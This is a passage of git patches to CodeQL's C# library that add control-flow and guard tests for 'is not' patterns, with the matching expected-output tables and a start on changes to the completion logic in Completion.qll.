| {...} | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:27:7:27 | access to parameter s | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:29 | ...; | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 07a0a9cffc7..c89d35533a5 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2906,6 +2906,52 @@ | Patterns.cs:37:17:37:22 | break; | Patterns.cs:37:17:37:22 | break; | break | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:17:40:17 | access to local variable o | normal | | Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:40:17:40:17 | access to local variable o | normal | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:48:9:48:9 | access to parameter c | normal | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:48:9:48:20 | ... is ... | normal | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:48:14:48:20 | not ... | normal | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:48:18:48:20 | a | normal | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:9:51:9 | access to parameter c | normal | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:9:51:21 | ... is ... | false | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:9:51:21 | ... is ... | true | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | normal | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:14:51:21 | not ... | normal | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:18:51:21 | null | normal | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:25:51:25 | access to parameter c | normal | +| Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:25:51:30 | ... is ... | normal | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:30:51:30 | 1 | normal | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:34:51:34 | access to parameter c | normal | +| Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:51:34:51:39 | ... is ... | normal | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:39:51:39 | 2 | normal | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:54:9:54:9 | access to parameter c | normal | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:54:9:54:37 | ... is ... | normal | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:54:14:54:37 | not ... | normal | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:54:18:54:37 | Patterns u | normal | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:54:18:54:37 | { ... } | normal | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:54:27:54:35 | { ... } | normal | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:54:33:54:33 | 1 | normal | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:58:9:62:10 | return ...; | return | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:58:9:62:10 | return ...; | return | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:58:16:58:16 | access to parameter i | normal | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:16:62:9 | ... switch { ... } | normal | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:13:60:17 | not ... | match | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:13:60:17 | not ... | no-match | +| Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:60:13:60:28 | ... => ... | normal | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:17:60:17 | 1 | normal | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:22:60:28 | "not 1" | normal | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:13:61:13 | _ | match | +| Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:61:13:61:24 | ... => ... | normal | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:18:61:24 | "other" | normal | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:67:9:71:10 | return ...; | return | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:67:9:71:10 | return ...; | return | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:67:16:67:16 | 2 | normal | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:16:71:9 | ... switch { ... } | normal | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:69:13:69:17 | not ... | no-match | +| Patterns.cs:69:13:69:33 | ... => ... | Patterns.cs:69:13:69:33 | ... => ... | normal | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:17:69:17 | 2 | normal | +| Patterns.cs:69:22:69:33 | "impossible" | Patterns.cs:69:22:69:33 | "impossible" | normal | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:13:70:13 | 2 | match | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:70:13:70:27 | ... => ... | normal | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:18:70:27 | "possible" | normal | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExtractorOptions.cs b/csharp/ql/test/library-tests/controlflow/graph/ExtractorOptions.cs deleted file mode 100644 index 69249fa473a..00000000000 --- a/csharp/ql/test/library-tests/controlflow/graph/ExtractorOptions.cs +++ /dev/null @@ -1 +0,0 @@ -// semmle-extractor-options: /langversion:8.0 \ No newline at end of file diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 6218a3a3b46..af80244b25f 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -3510,8 +3510,8 @@ | NullCoalescing.cs:17:13:17:19 | (...) ... | NullCoalescing.cs:17:13:17:24 | ... ?? ... | semmle.label | non-null | | NullCoalescing.cs:17:13:17:24 | ... ?? ... | NullCoalescing.cs:17:9:17:24 | ... = ... | semmle.label | successor | | NullCoalescing.cs:17:19:17:19 | access to parameter i | NullCoalescing.cs:17:13:17:19 | (...) ... | semmle.label | successor | -| Patterns.cs:5:10:5:13 | enter Test | Patterns.cs:6:5:43:5 | {...} | semmle.label | successor | -| Patterns.cs:5:10:5:13 | exit Test (normal) | Patterns.cs:5:10:5:13 | exit Test | semmle.label | successor | +| Patterns.cs:5:10:5:11 | enter M1 | Patterns.cs:6:5:43:5 | {...} | semmle.label | successor | +| Patterns.cs:5:10:5:11 | exit M1 (normal) | Patterns.cs:5:10:5:11 | exit M1 | semmle.label | successor | | Patterns.cs:6:5:43:5 | {...} | Patterns.cs:7:9:7:24 | ... ...; | semmle.label | successor | | Patterns.cs:7:9:7:24 | ... ...; | Patterns.cs:7:20:7:23 | null | semmle.label | successor | | Patterns.cs:7:16:7:23 | Object o = ... | Patterns.cs:8:9:18:9 | if (...) ... | semmle.label | successor | @@ -3591,7 +3591,61 @@ | Patterns.cs:36:35:36:50 | "Something else" | Patterns.cs:36:17:36:51 | call to method WriteLine | semmle.label | successor | | Patterns.cs:37:17:37:22 | break; | Patterns.cs:40:9:42:9 | switch (...) {...} | semmle.label | break | | Patterns.cs:40:9:42:9 | switch (...) {...} | Patterns.cs:40:17:40:17 | access to local variable o | semmle.label | successor | -| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:13 | exit Test (normal) | semmle.label | successor | +| Patterns.cs:40:17:40:17 | access to local variable o | Patterns.cs:5:10:5:11 | exit M1 (normal) | semmle.label | successor | +| Patterns.cs:47:24:47:25 | enter M2 | Patterns.cs:48:9:48:9 | access to parameter c | semmle.label | successor | +| Patterns.cs:47:24:47:25 | exit M2 (normal) | Patterns.cs:47:24:47:25 | exit M2 | semmle.label | successor | +| Patterns.cs:48:9:48:9 | access to parameter c | Patterns.cs:48:18:48:20 | a | semmle.label | successor | +| Patterns.cs:48:9:48:20 | ... is ... | Patterns.cs:47:24:47:25 | exit M2 (normal) | semmle.label | successor | +| Patterns.cs:48:14:48:20 | not ... | Patterns.cs:48:9:48:20 | ... is ... | semmle.label | successor | +| Patterns.cs:48:18:48:20 | a | Patterns.cs:48:14:48:20 | not ... | semmle.label | successor | +| Patterns.cs:50:24:50:25 | enter M3 | Patterns.cs:51:9:51:9 | access to parameter c | semmle.label | successor | +| Patterns.cs:50:24:50:25 | exit M3 (normal) | Patterns.cs:50:24:50:25 | exit M3 | semmle.label | successor | +| Patterns.cs:51:9:51:9 | access to parameter c | Patterns.cs:51:18:51:21 | null | semmle.label | successor | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:25:51:25 | access to parameter c | semmle.label | true | +| Patterns.cs:51:9:51:21 | ... is ... | Patterns.cs:51:34:51:34 | access to parameter c | semmle.label | false | +| Patterns.cs:51:9:51:39 | ... ? ... : ... | Patterns.cs:50:24:50:25 | exit M3 (normal) | semmle.label | successor | +| Patterns.cs:51:14:51:21 | not ... | Patterns.cs:51:9:51:21 | ... is ... | semmle.label | successor | +| Patterns.cs:51:18:51:21 | null | Patterns.cs:51:14:51:21 | not ... | semmle.label | successor | +| Patterns.cs:51:25:51:25 | access to parameter c | Patterns.cs:51:30:51:30 | 1 | semmle.label | successor | +| Patterns.cs:51:25:51:30 | ... is ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | semmle.label | successor | +| Patterns.cs:51:30:51:30 | 1 | Patterns.cs:51:25:51:30 | ... is ... | semmle.label | successor | +| Patterns.cs:51:34:51:34 | access to parameter c | Patterns.cs:51:39:51:39 | 2 | semmle.label | successor | +| Patterns.cs:51:34:51:39 | ... is ... | Patterns.cs:51:9:51:39 | ... ? ... : ... | semmle.label | successor | +| Patterns.cs:51:39:51:39 | 2 | Patterns.cs:51:34:51:39 | ... is ... | semmle.label | successor | +| Patterns.cs:53:24:53:25 | enter M4 | Patterns.cs:54:9:54:9 | access to parameter c | semmle.label | successor | +| Patterns.cs:53:24:53:25 | exit M4 (normal) | Patterns.cs:53:24:53:25 | exit M4 | semmle.label | successor | +| Patterns.cs:54:9:54:9 | access to parameter c | Patterns.cs:54:18:54:37 | Patterns u | semmle.label | successor | +| Patterns.cs:54:9:54:37 | ... is ... | Patterns.cs:53:24:53:25 | exit M4 (normal) | semmle.label | successor | +| Patterns.cs:54:14:54:37 | not ... | Patterns.cs:54:9:54:37 | ... is ... | semmle.label | successor | +| Patterns.cs:54:18:54:37 | Patterns u | Patterns.cs:54:33:54:33 | 1 | semmle.label | successor | +| Patterns.cs:54:18:54:37 | { ... } | Patterns.cs:54:14:54:37 | not ... | semmle.label | successor | +| Patterns.cs:54:27:54:35 | { ... } | Patterns.cs:54:18:54:37 | { ... } | semmle.label | successor | +| Patterns.cs:54:33:54:33 | 1 | Patterns.cs:54:27:54:35 | { ... } | semmle.label | successor | +| Patterns.cs:56:26:56:27 | enter M5 | Patterns.cs:57:5:63:5 | {...} | semmle.label | successor | +| Patterns.cs:56:26:56:27 | exit M5 (normal) | Patterns.cs:56:26:56:27 | exit M5 | semmle.label | successor | +| Patterns.cs:57:5:63:5 | {...} | Patterns.cs:58:16:58:16 | access to parameter i | semmle.label | successor | +| Patterns.cs:58:9:62:10 | return ...; | Patterns.cs:56:26:56:27 | exit M5 (normal) | semmle.label | return | +| Patterns.cs:58:16:58:16 | access to parameter i | Patterns.cs:60:17:60:17 | 1 | semmle.label | successor | +| Patterns.cs:58:16:62:9 | ... switch { ... } | Patterns.cs:58:9:62:10 | return ...; | semmle.label | successor | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:60:22:60:28 | "not 1" | semmle.label | match | +| Patterns.cs:60:13:60:17 | not ... | Patterns.cs:61:13:61:13 | _ | semmle.label | no-match | +| Patterns.cs:60:13:60:28 | ... => ... | Patterns.cs:58:16:62:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:60:17:60:17 | 1 | Patterns.cs:60:13:60:17 | not ... | semmle.label | successor | +| Patterns.cs:60:22:60:28 | "not 1" | Patterns.cs:60:13:60:28 | ... => ... | semmle.label | successor | +| Patterns.cs:61:13:61:13 | _ | Patterns.cs:61:18:61:24 | "other" | semmle.label | match | +| Patterns.cs:61:13:61:24 | ... => ... | Patterns.cs:58:16:62:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:61:18:61:24 | "other" | Patterns.cs:61:13:61:24 | ... => ... | semmle.label | successor | +| Patterns.cs:65:26:65:27 | enter M6 | Patterns.cs:66:5:72:5 | {...} | semmle.label | successor | +| Patterns.cs:65:26:65:27 | exit M6 (normal) | Patterns.cs:65:26:65:27 | exit M6 | semmle.label | successor | +| Patterns.cs:66:5:72:5 | {...} | Patterns.cs:67:16:67:16 | 2 | semmle.label | successor | +| Patterns.cs:67:9:71:10 | return ...; | Patterns.cs:65:26:65:27 | exit M6 (normal) | semmle.label | return | +| Patterns.cs:67:16:67:16 | 2 | Patterns.cs:69:17:69:17 | 2 | semmle.label | successor | +| Patterns.cs:67:16:71:9 | ... switch { ... } | Patterns.cs:67:9:71:10 | return ...; | semmle.label | successor | +| Patterns.cs:69:13:69:17 | not ... | Patterns.cs:70:13:70:13 | 2 | semmle.label | no-match | +| Patterns.cs:69:17:69:17 | 2 | Patterns.cs:69:13:69:17 | not ... | semmle.label | successor | +| Patterns.cs:70:13:70:13 | 2 | Patterns.cs:70:18:70:27 | "possible" | semmle.label | match | +| Patterns.cs:70:13:70:27 | ... => ... | Patterns.cs:67:16:71:9 | ... switch { ... } | semmle.label | successor | +| Patterns.cs:70:18:70:27 | "possible" | Patterns.cs:70:13:70:27 | ... => ... | semmle.label | successor | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | semmle.label | successor | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | semmle.label | successor | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index fd138aea838..9c66acba802 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1218,7 +1218,12 @@ entryPoint | NullCoalescing.cs:9:12:9:13 | M4 | NullCoalescing.cs:9:37:9:37 | access to parameter b | | NullCoalescing.cs:11:9:11:10 | M5 | NullCoalescing.cs:11:44:11:45 | access to parameter b1 | | NullCoalescing.cs:13:10:13:11 | M6 | NullCoalescing.cs:14:5:18:5 | {...} | -| Patterns.cs:5:10:5:13 | Test | Patterns.cs:6:5:43:5 | {...} | +| Patterns.cs:5:10:5:11 | M1 | Patterns.cs:6:5:43:5 | {...} | +| Patterns.cs:47:24:47:25 | M2 | Patterns.cs:48:9:48:9 | access to parameter c | +| Patterns.cs:50:24:50:25 | M3 | Patterns.cs:51:9:51:9 | access to parameter c | +| Patterns.cs:53:24:53:25 | M4 | Patterns.cs:54:9:54:9 | access to parameter c | +| Patterns.cs:56:26:56:27 | M5 | Patterns.cs:57:5:63:5 | {...} | +| Patterns.cs:65:26:65:27 | M6 | Patterns.cs:66:5:72:5 | {...} | | PostDominance.cs:5:10:5:11 | M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:10:10:10:11 | M2 | PostDominance.cs:11:5:15:5 | {...} | | PostDominance.cs:17:10:17:11 | M3 | PostDominance.cs:18:5:22:5 | {...} | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs index 70bf7e29063..86a6e34d708 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs @@ -2,7 +2,7 @@ using System; class Patterns { - void Test() + void M1() { object o = null; if (o is int i1) @@ -41,4 +41,33 @@ class Patterns { } } + + public int P1 { get; set; } + + public static bool M2(char c) => + c is not 'a'; + + public static bool M3(object c) => + c is not null ? c is 1 : c is 2; + + public static bool M4(object c) => + c is not Patterns { P1: 1 } u; + + public static string M5(int i) + { + return i switch + { + not 1 => "not 1", + _ => "other" + }; + } + + public static string M6() + { + return 2 switch + { + not 2 => "impossible", + 2 => "possible" + }; + } } From ab85b2c2d2ae2cddc106da7c40c455362936decd Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 24 Nov 2020 15:30:48 +0100 Subject: [PATCH 0796/1241] C#: Add `is not null` guards test --- .../library-tests/controlflow/guards/AbstractValue.expected | 1 + .../controlflow/guards/BooleanGuardedExpr.expected | 1 + .../library-tests/controlflow/guards/ExtractorOptions.cs | 2 +- .../controlflow/guards/GuardedControlFlowNode.expected | 2 ++ .../library-tests/controlflow/guards/GuardedExpr.expected | 2 ++ csharp/ql/test/library-tests/controlflow/guards/Guards.cs | 6 ++++++ .../library-tests/controlflow/guards/Implications.expected | 1 + .../controlflow/guards/NullGuardedExpr.expected | 1 + 8 files changed, 15 insertions(+), 1 deletion(-) diff --git a/csharp/ql/test/library-tests/controlflow/guards/AbstractValue.expected b/csharp/ql/test/library-tests/controlflow/guards/AbstractValue.expected index 1dd7f2c4da4..2303633e4f4 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/AbstractValue.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/AbstractValue.expected @@ -370,6 +370,7 @@ abstractValue | non-null | Guards.cs:341:31:341:32 | "" | | non-null | Guards.cs:343:13:343:19 | access to type Console | | non-null | Guards.cs:343:31:343:31 | access to local variable s | +| non-null | Guards.cs:349:13:349:13 | access to parameter o | | non-null | Splitting.cs:13:17:13:17 | access to parameter o | | non-null | Splitting.cs:23:24:23:24 | access to parameter o | | non-null | Splitting.cs:33:24:33:25 | "" | diff --git a/csharp/ql/test/library-tests/controlflow/guards/BooleanGuardedExpr.expected b/csharp/ql/test/library-tests/controlflow/guards/BooleanGuardedExpr.expected index f87600ebed5..120e3e2c5ce 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/BooleanGuardedExpr.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/BooleanGuardedExpr.expected @@ -103,6 +103,7 @@ | Guards.cs:342:27:342:27 | access to parameter b | Guards.cs:341:20:341:20 | access to parameter b | Guards.cs:341:20:341:20 | access to parameter b | false | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:21 | ... != ... | Guards.cs:342:13:342:13 | access to local variable s | true | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:27 | ... && ... | Guards.cs:342:13:342:13 | access to local variable s | true | +| Guards.cs:349:13:349:13 | access to parameter o | Guards.cs:348:13:348:25 | ... is ... | Guards.cs:348:13:348:13 | access to parameter o | true | | Splitting.cs:13:17:13:17 | access to parameter o | Splitting.cs:12:17:12:25 | ... != ... | Splitting.cs:12:17:12:17 | access to parameter o | true | | Splitting.cs:23:24:23:24 | access to parameter o | Splitting.cs:22:17:22:25 | ... != ... | Splitting.cs:22:17:22:17 | access to parameter o | true | | Splitting.cs:25:13:25:13 | access to parameter o | Splitting.cs:22:17:22:25 | ... != ... | Splitting.cs:22:17:22:17 | access to parameter o | false | diff --git a/csharp/ql/test/library-tests/controlflow/guards/ExtractorOptions.cs b/csharp/ql/test/library-tests/controlflow/guards/ExtractorOptions.cs index 5b68aaea481..3353234761a 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/ExtractorOptions.cs +++ b/csharp/ql/test/library-tests/controlflow/guards/ExtractorOptions.cs @@ -1,2 +1,2 @@ -// semmle-extractor-options: --cil /langversion:8.0 +// semmle-extractor-options: --cil #nullable enable diff --git a/csharp/ql/test/library-tests/controlflow/guards/GuardedControlFlowNode.expected b/csharp/ql/test/library-tests/controlflow/guards/GuardedControlFlowNode.expected index 8f0a09d0389..3db5997056c 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/GuardedControlFlowNode.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/GuardedControlFlowNode.expected @@ -242,6 +242,8 @@ | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:13 | access to local variable s | Guards.cs:342:13:342:13 | access to local variable s | non-null | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:21 | ... != ... | Guards.cs:342:13:342:13 | access to local variable s | true | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:27 | ... && ... | Guards.cs:342:13:342:13 | access to local variable s | true | +| Guards.cs:349:13:349:13 | access to parameter o | Guards.cs:348:13:348:13 | access to parameter o | Guards.cs:348:13:348:13 | access to parameter o | non-null | +| Guards.cs:349:13:349:13 | access to parameter o | Guards.cs:348:13:348:25 | ... is ... | Guards.cs:348:13:348:13 | access to parameter o | true | | Splitting.cs:13:17:13:17 | [b (line 9): true] access to parameter o | Splitting.cs:12:17:12:17 | access to parameter o | Splitting.cs:12:17:12:17 | access to parameter o | non-null | | Splitting.cs:13:17:13:17 | [b (line 9): true] access to parameter o | Splitting.cs:12:17:12:25 | ... != ... | Splitting.cs:12:17:12:17 | access to parameter o | true | | Splitting.cs:14:13:14:13 | [b (line 9): false] access to parameter b | Splitting.cs:11:13:11:13 | access to parameter b | Splitting.cs:11:13:11:13 | access to parameter b | false | diff --git a/csharp/ql/test/library-tests/controlflow/guards/GuardedExpr.expected b/csharp/ql/test/library-tests/controlflow/guards/GuardedExpr.expected index 05537dcf8d9..aad97097f21 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/GuardedExpr.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/GuardedExpr.expected @@ -223,6 +223,8 @@ | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:13 | access to local variable s | Guards.cs:342:13:342:13 | access to local variable s | non-null | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:21 | ... != ... | Guards.cs:342:13:342:13 | access to local variable s | true | | Guards.cs:343:31:343:31 | access to local variable s | Guards.cs:342:13:342:27 | ... && ... | Guards.cs:342:13:342:13 | access to local variable s | true | +| Guards.cs:349:13:349:13 | access to parameter o | Guards.cs:348:13:348:13 | access to parameter o | Guards.cs:348:13:348:13 | access to parameter o | non-null | +| Guards.cs:349:13:349:13 | access to parameter o | Guards.cs:348:13:348:25 | ... is ... | Guards.cs:348:13:348:13 | access to parameter o | true | | Splitting.cs:13:17:13:17 | access to parameter o | Splitting.cs:12:17:12:17 | access to parameter o | Splitting.cs:12:17:12:17 | access to parameter o | non-null | | Splitting.cs:13:17:13:17 | access to parameter o | Splitting.cs:12:17:12:25 | ... != ... | Splitting.cs:12:17:12:17 | access to parameter o | true | | Splitting.cs:23:24:23:24 | access to parameter o | Splitting.cs:22:17:22:17 | access to parameter o | Splitting.cs:22:17:22:17 | access to parameter o | non-null | diff --git a/csharp/ql/test/library-tests/controlflow/guards/Guards.cs b/csharp/ql/test/library-tests/controlflow/guards/Guards.cs index 0c4563b3c9f..3e1008b1971 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/Guards.cs +++ b/csharp/ql/test/library-tests/controlflow/guards/Guards.cs @@ -342,5 +342,11 @@ public class Guards if (s != null && !b) Console.WriteLine(s.Length); // null guarded } + + void M29(object? o) + { + if (o is not null) + o.ToString(); // null guarded + } } diff --git a/csharp/ql/test/library-tests/controlflow/guards/Implications.expected b/csharp/ql/test/library-tests/controlflow/guards/Implications.expected index 00e09ccfbda..ee5a0bb7017 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/Implications.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/Implications.expected @@ -442,6 +442,7 @@ | Guards.cs:342:26:342:27 | !... | true | Guards.cs:342:27:342:27 | access to parameter b | false | | Guards.cs:343:31:343:31 | access to local variable s | non-null | Guards.cs:341:20:341:32 | ... ? ... : ... | non-null | | Guards.cs:343:31:343:31 | access to local variable s | null | Guards.cs:341:20:341:32 | ... ? ... : ... | null | +| Guards.cs:348:13:348:25 | ... is ... | true | Guards.cs:348:13:348:13 | access to parameter o | non-null | | Splitting.cs:12:17:12:25 | ... != ... | false | Splitting.cs:12:17:12:17 | access to parameter o | null | | Splitting.cs:12:17:12:25 | ... != ... | true | Splitting.cs:12:17:12:17 | access to parameter o | non-null | | Splitting.cs:22:17:22:25 | ... != ... | false | Splitting.cs:22:17:22:17 | access to parameter o | null | diff --git a/csharp/ql/test/library-tests/controlflow/guards/NullGuardedExpr.expected b/csharp/ql/test/library-tests/controlflow/guards/NullGuardedExpr.expected index eea5a4dadd3..fa21b5cb312 100644 --- a/csharp/ql/test/library-tests/controlflow/guards/NullGuardedExpr.expected +++ b/csharp/ql/test/library-tests/controlflow/guards/NullGuardedExpr.expected @@ -46,6 +46,7 @@ | Guards.cs:283:17:283:17 | access to parameter o | | Guards.cs:287:17:287:17 | access to parameter o | | Guards.cs:343:31:343:31 | access to local variable s | +| Guards.cs:349:13:349:13 | access to parameter o | | Splitting.cs:13:17:13:17 | access to parameter o | | Splitting.cs:23:24:23:24 | access to parameter o | | Splitting.cs:35:13:35:13 | access to parameter o | From 063733ad52dd5ee8da7cced94dc9daab072e0073 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Tue, 24 Nov 2020 14:27:27 +0100 Subject: [PATCH 0797/1241] C#: Implement CFG for `not` patterns --- .../controlflow/internal/Completion.qll | 112 ++++++--- .../internal/ControlFlowGraphImpl.qll | 31 ++- .../csharp/controlflow/internal/Splitting.qll | 6 + .../controlflow/graph/BasicBlock.expected | 37 ++- .../controlflow/graph/Condition.expected | 98 ++++++-- .../controlflow/graph/Dominance.expected | 232 +++++++++++++++--- .../graph/EnclosingCallable.expected | 48 +++- .../controlflow/graph/ExitElement.expected | 30 ++- .../controlflow/graph/NodeGraph.expected | 63 +++-- .../library-tests/csharp7/IsFlow.expected | 7 +- .../csharp7/LocalTaintFlow.expected | 9 +- .../csharp8/ispatternflow.expected | 35 +-- .../csharp8/switchexprcontrolflow.expected | 7 +- .../query-tests/Nullness/NullMaybe.expected | 12 +- 14 files changed, 543 insertions(+), 184 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll index 8f61d0f7c25..dc6dfd91622 100644 --- a/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll +++ b/csharp/ql/src/semmle/code/csharp/controlflow/internal/Completion.qll @@ -232,37 +232,61 @@ private Expr getQualifier(QualifiableExpr e) { result = e.getChildExpr(-1) } +pragma[noinline] +private predicate typePatternMustHaveMatchingCompletion( + TypePatternExpr tpe, Type t, Type strippedType +) { + exists(Expr e, Expr stripped | mustHaveMatchingCompletion(e, tpe) | + stripped = e.stripCasts() and + t = tpe.getCheckedType() and + strippedType = stripped.getType() and + not t.containsTypeParameters() and + not strippedType.containsTypeParameters() + ) +} + +pragma[noinline] +private Type typePatternCommonSubTypeLeft(Type t) { + typePatternMustHaveMatchingCompletion(_, t, _) and + result.isImplicitlyConvertibleTo(t) and + not result instanceof DynamicType +} + +pragma[noinline] +private Type typePatternCommonSubTypeRight(Type strippedType) { + typePatternMustHaveMatchingCompletion(_, _, strippedType) and + result.isImplicitlyConvertibleTo(strippedType) and + not result instanceof DynamicType +} + +pragma[noinline] +private predicate typePatternCommonSubType(Type t, Type strippedType) { + typePatternCommonSubTypeLeft(t) = typePatternCommonSubTypeRight(strippedType) +} + /** - * Holds if expression `e` constantly matches (`value = true`) or constantly - * non-matches (`value = false`). + * Holds if pattern expression `pe` constantly matches (`value = true`) or + * constantly non-matches (`value = false`). */ -private predicate isMatchingConstant(Expr e, boolean value) { - exists(Switch s | mustHaveMatchingCompletion(s, e) | - exists(Expr stripped | stripped = s.getExpr().stripCasts() | - exists(Case c, string strippedValue | - c = s.getACase() and - e = c.getPattern() and - strippedValue = stripped.getValue() - | - if strippedValue = e.getValue() then value = true else value = false - ) - or - exists(Case c, TypePatternExpr tpe, Type t, Type strippedType | c = s.getACase() | - tpe = c.getPattern() and - e = tpe and - t = tpe.getCheckedType() and - strippedType = stripped.getType() and - not t.isImplicitlyConvertibleTo(strippedType) and - not t instanceof Interface and - not t.containsTypeParameters() and - not strippedType.containsTypeParameters() and - value = false +private predicate isMatchingConstant(PatternExpr pe, boolean value) { + exists(Expr e | mustHaveMatchingCompletion(e, pe) | + exists(Expr stripped | stripped = e.stripCasts() | + exists(string strippedValue, string patternValue | + strippedValue = stripped.getValue() and + patternValue = pe.getValue() and + if strippedValue = patternValue then value = true else value = false ) ) or - e instanceof DiscardPatternExpr and + pe instanceof DiscardPatternExpr and value = true ) + or + exists(Type t, Type strippedType | + typePatternMustHaveMatchingCompletion(pe, t, strippedType) and + not typePatternCommonSubType(t, strippedType) and + value = false + ) } private class Overflowable extends UnaryOperation { @@ -518,7 +542,20 @@ predicate switchMatching(Switch s, Case c, PatternExpr pe) { pe = c.getPattern() } -private predicate mustHaveMatchingCompletion(Switch s, PatternExpr pe) { 